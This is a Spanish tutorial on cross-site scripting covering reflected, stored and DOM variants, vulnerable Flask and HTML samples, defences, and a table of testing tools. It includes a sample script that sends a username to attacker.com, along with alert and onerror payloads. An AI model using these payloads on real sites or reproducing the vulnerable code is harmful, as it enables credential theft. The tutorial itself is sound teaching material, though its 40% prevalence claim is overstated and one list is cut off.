🚨 ¡IMPORTANTÍSIMO! Antes de empezar, XSS es la vulnerabilidad más importante de todas, está presente en más del 40% de los sitios web 🌐. Vamos a prestarle toda la atención posible, no solo a esta vulnerabilidad sino a todo el OWASP Top 10.
Cross-site scripting (XSS) es cuando un sitio web tiene entradas de datos no validadas que permiten al atacante inyectar código HTML, CSS o Javascript dentro de la página objetivo. Por ejemplo:
Si te fijas bien, cuando usas google.com para buscar, por ejemplo, "¿Qué es XSS?" el término de búsqueda que escribiste se añade a la URL de la página de resultados como un "query string" de la siguiente manera:
1https:/search?q=ques+es+xss
Cualquier combinación de caracteres que usemos para buscar pasará a ser parte de la URL de los resultados de búsqueda y luego pasará a ser parte del <body>
de la página de resultados.
Si inyectamos el texto "¿Qué es XSS?"
a la página de google.com, tal vez podamos inyectar un script de JS que abra un nuevo modal:
1https:/search?q=<script>alert('Hola Mundo')</script>
¡🎉 Hemos logrado que nuestro código sea incluido en la página de Google! Pincha aquí para comprobarlo.
La mala noticia es que, a pesar de que nuestro código <script>alert('Hola Mundo')</script>
aparece dentro del código fuente de google.com, ¡no se está ejecutando! 😕
Seguramente Google está transformando nuestro código en caracteres inofensivos para evitar que el navegador web los interprete.
Un simple <script>alert('Hola Mundo')</script>
es inofensivo, pero el siguiente script sería mucho peor:
1<script> 2 window.location = "http://attacker.com/phishing-page?data=" + document.getElementById('username').value; 3</script>
Este ataque podría ser utilizado para redirigir a los usuarios a una página de phishing que parece legítima pero está controlada por el atacante. En el proceso, el atacante podría robar el nombre de usuario u otra información sensible que el usuario haya introducido en el sitio original. Esto podría llevar al robo de credenciales o a engañar al usuario para que proporcione más información en la página de phishing.
Etiqueta <script>
: El atacante inyecta una etiqueta <script>
en la página web. Cuando se carga la página, el navegador de la víctima ejecutará este script.
🚨 Redirección maliciosa: El script utiliza window.location
para redirigir al usuario a una URL controlada por el atacante, en este caso, http://attacker.com/phishing-page
. La parte clave de esta redirección es que el script también adjunta datos sensibles a la URL.
🔓 Robo de información del usuario: El script obtiene el valor del campo de entrada con el ID username
, que podría ser el nombre de usuario o alguna otra información sensible que el usuario haya introducido en la página. Este valor se adjunta a la URL de la página de phishing y es enviado al servidor del atacante.
Imagina una red social donde los usuarios pueden publicar comentarios en los perfiles de otros usuarios. Estos comentarios se almacenan en una base de datos y se muestran cada vez que alguien visita el perfil.
Ejemplo de código vulnerable:
1@app.route('/post_comment', methods=['POST']) 2def post_comment(): 3 comment = request.form['comment'] 4 comments.append(comment) # Guardar comentario sin sanitizar 5 return "Comentario publicado" 6 7@app.route('/view_comments') 8def view_comments(): 9 comments_html = "".join(f"<p>{comment}</p>" for comment in comments) 10 return render_template_string(comments_html) # Vulnerable a XSS
Ataque: Un atacante puede publicar un comentario como el siguiente:
1<script>alert('XSS Almacenado');</script>
Cuando otros usuarios visiten la página del perfil, este script se ejecutará en sus navegadores, mostrando una alerta o realizando alguna acción maliciosa.
Escenario: Una página web utiliza JavaScript para mostrar el contenido de la URL directamente en el DOM, como parte de una funcionalidad que muestra un saludo personalizado.
Ejemplo de código vulnerable:
1<!-- HTML - Código que manipula el DOM --> 2<!DOCTYPE html> 3<html> 4<head> 5 <title>Bienvenido</title> 6</head> 7<body> 8 <h1>Bienvenido</h1> 9 <p id="greeting"></p> 10 <script> 11 var greeting = "Hola " + window.location.search.substring(1); 12 document.getElementById("greeting").innerHTML = greeting; 13 </script> 14</body> 15</html>
Ataque: Un atacante podría enviar un enlace malicioso:
http://ejemplo.com/index.html?nombre=<script>alert('XSS DOM');</script>
Un atacante puede lograr diversas acciones maliciosas a través de un ataque de Cross-Site Scripting (XSS), dependiendo del tipo de XSS y del contexto en el que se explote la vulnerabilidad. A continuación, se enumeran algunas de las acciones más comunes que un atacante podría llevar a cabo utilizando XSS:
SS para obtener información sobre el entorno del usuario, como el tipo de navegador, la versión del sistema operativo, plugins instalados, dirección IP, etc., que podrían ser utilizados en ataques dirigidos.
Evitar ataques de Cross-Site Scripting (XSS) es fundamental para proteger tus aplicaciones web y a tus usuarios. A continuación, te presento una serie de prácticas recomendadas para prevenir XSS en tus aplicaciones:
Escapa todos los datos que se insertan en el HTML antes de renderizarlos en la página. Esto significa convertir caracteres especiales como <
, >
, &
, y "
en sus entidades HTML correspondientes.
1from flask import escape 2safe_string = escape(unsafe_string)
1const escape = require('escape-html'); 2let safeString = escape(unsafeString);
Utiliza motores de plantillas que escapan automáticamente el contenido insertado. La mayoría de los frameworks modernos, como Flask (con Jinja2), Django, Laravel (Blade), y Express (con EJS o Pug), escapan el contenido por defecto.
1{{ user_input }}
1<%= userInput %>
Valida y sanitiza la entrada del usuario para asegurarte de que contiene solo lo que esperas. Elimina o codifica cualquier parte que no sea segura.
1from wtforms import StringField 2from wtforms.validators import InputRequired, Length 3 4class MyForm(FlaskForm): 5 name = StringField('Name', validators=[InputRequired(), Length(max=100)])
1const { body } = require('express-validator'); 2 3app.post('/submit', [ 4 body('username').isAlphanumeric().trim().escape() 5], (req, res) => { 6 // Handle request 7});
Implementa una política de seguridad de contenido (CSP) para limitar las fuentes desde las cuales se pueden cargar scripts. Esto ayuda a mitigar XSS al bloquear la ejecución de scripts no autorizados.
Ejemplo de cabecera CSP:
1Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com
Asegúrate de que las cookies de sesión tengan los flags HttpOnly
y Secure
para que no puedan ser accedidas por JavaScript ni transmitidas a través de una conexión insegura.
1response.set_cookie('sessionid', value=session_id, httponly=True, secure=True)
1res.cookie('sessionid', session_id, { httpOnly: true, secure: true });
Evita el uso de código JavaScript directamente en etiquetas HTML (<script>
, onload=
, onclick=
, etc.). Usa archivos de scripts externos o declara las funciones en un archivo JS separado.
🚫 Malo:
1<img src="image.jpg" onerror="alert('XSS')">
✅ Bueno:
1<img src="image.jpg" id="image"> 2<script> 3 document.getElementById('image').addEventListener('error', function() { 4 alert('XSS'); 5 }); 6</script>
Si debes permitir que los usuarios envíen HTML (por ejemplo, en un editor de texto enriquecido), usa una biblioteca que sanee el HTML y elimine cualquier código peligroso.
1from bleach import clean 2 3safe_html = clean(unsafe_html)
1const sanitizeHtml = require('sanitize-html'); 2let safeHtml = sanitizeHtml(unsafeHtml);
Existen varias herramientas utilizadas por profesionales de la seguridad y atacantes para identificar y explotar vulnerabilidades de Cross-Site Scripting (XSS) en aplicaciones web. Estas herramientas pueden automatizar el proceso de descubrimiento de XSS o facilitar la explotación de vulnerabilidades existentes. A continuación, se enumeran algunas de las herramientas más conocidas para atacar con XSS:
A continuación, te presento una tabla comparativa de las principales herramientas utilizadas para atacar y detectar vulnerabilidades de Cross-Site Scripting (XSS):
🔧 Herramienta | 📄 Descripción | ⚙️ Características principales | 📜 Licencia | 📊 Nivel de complejidad |
---|---|---|---|---|
Burp Suite | Herramienta profesional para pruebas de penetración en aplicaciones web. | Escaneo automatizado de XSS, proxy, modificación de solicitudes, repeater. | Comercial (versión gratuita limitada) | Alta |
OWASP ZAP | Herramienta gratuita y de código abierto para pruebas de seguridad en aplicaciones web. | Escaneo automatizado de XSS, proxy, fuzzing, y análisis manual. | Open Source | Media |
XSSer | Herramienta especializada en la detección y explotación de vulnerabilidades XSS. | Detección y explotación de XSS (almacenado, reflejado, DOM), payloads personalizados. | Open Source | Media |
BeEF | Framework avanzado para la explotación de navegadores web comprometidos. | Control de navegadores víctimas, ejecución de comandos, integración con otras herramientas. | Open Source | Alta |
XSStrike | Herramienta avanzada para análisis, detección y explotación de XSS. | Análisis de payloads, superación de WAFs, escaneo manual y automatizado. | Open Source | Media |
SQLMap | Herramienta para pruebas de inyección SQL con soporte limitado para XSS. | Escaneo y explotación de inyección SQL, integración con XSS. | Open Source | Alta |
wfuzz | Herramienta de fuzzing para pruebas en aplicaciones web, útil para encontrar XSS. | Fuzzing de parámetros, soporte de listas personalizadas (payloads XSS). | Open Source | Media |
Google Dorking | Técnica de búsqueda avanzada en Google para encontrar aplicaciones vulnerables. | Búsqueda de vulnerabilidades expuestas públicamente. | - | Baja |
Cada herramienta tiene sus fortalezas y se adapta a diferentes necesidades y niveles de experiencia, desde principiantes hasta profesionales avanzados en ciberseguridad.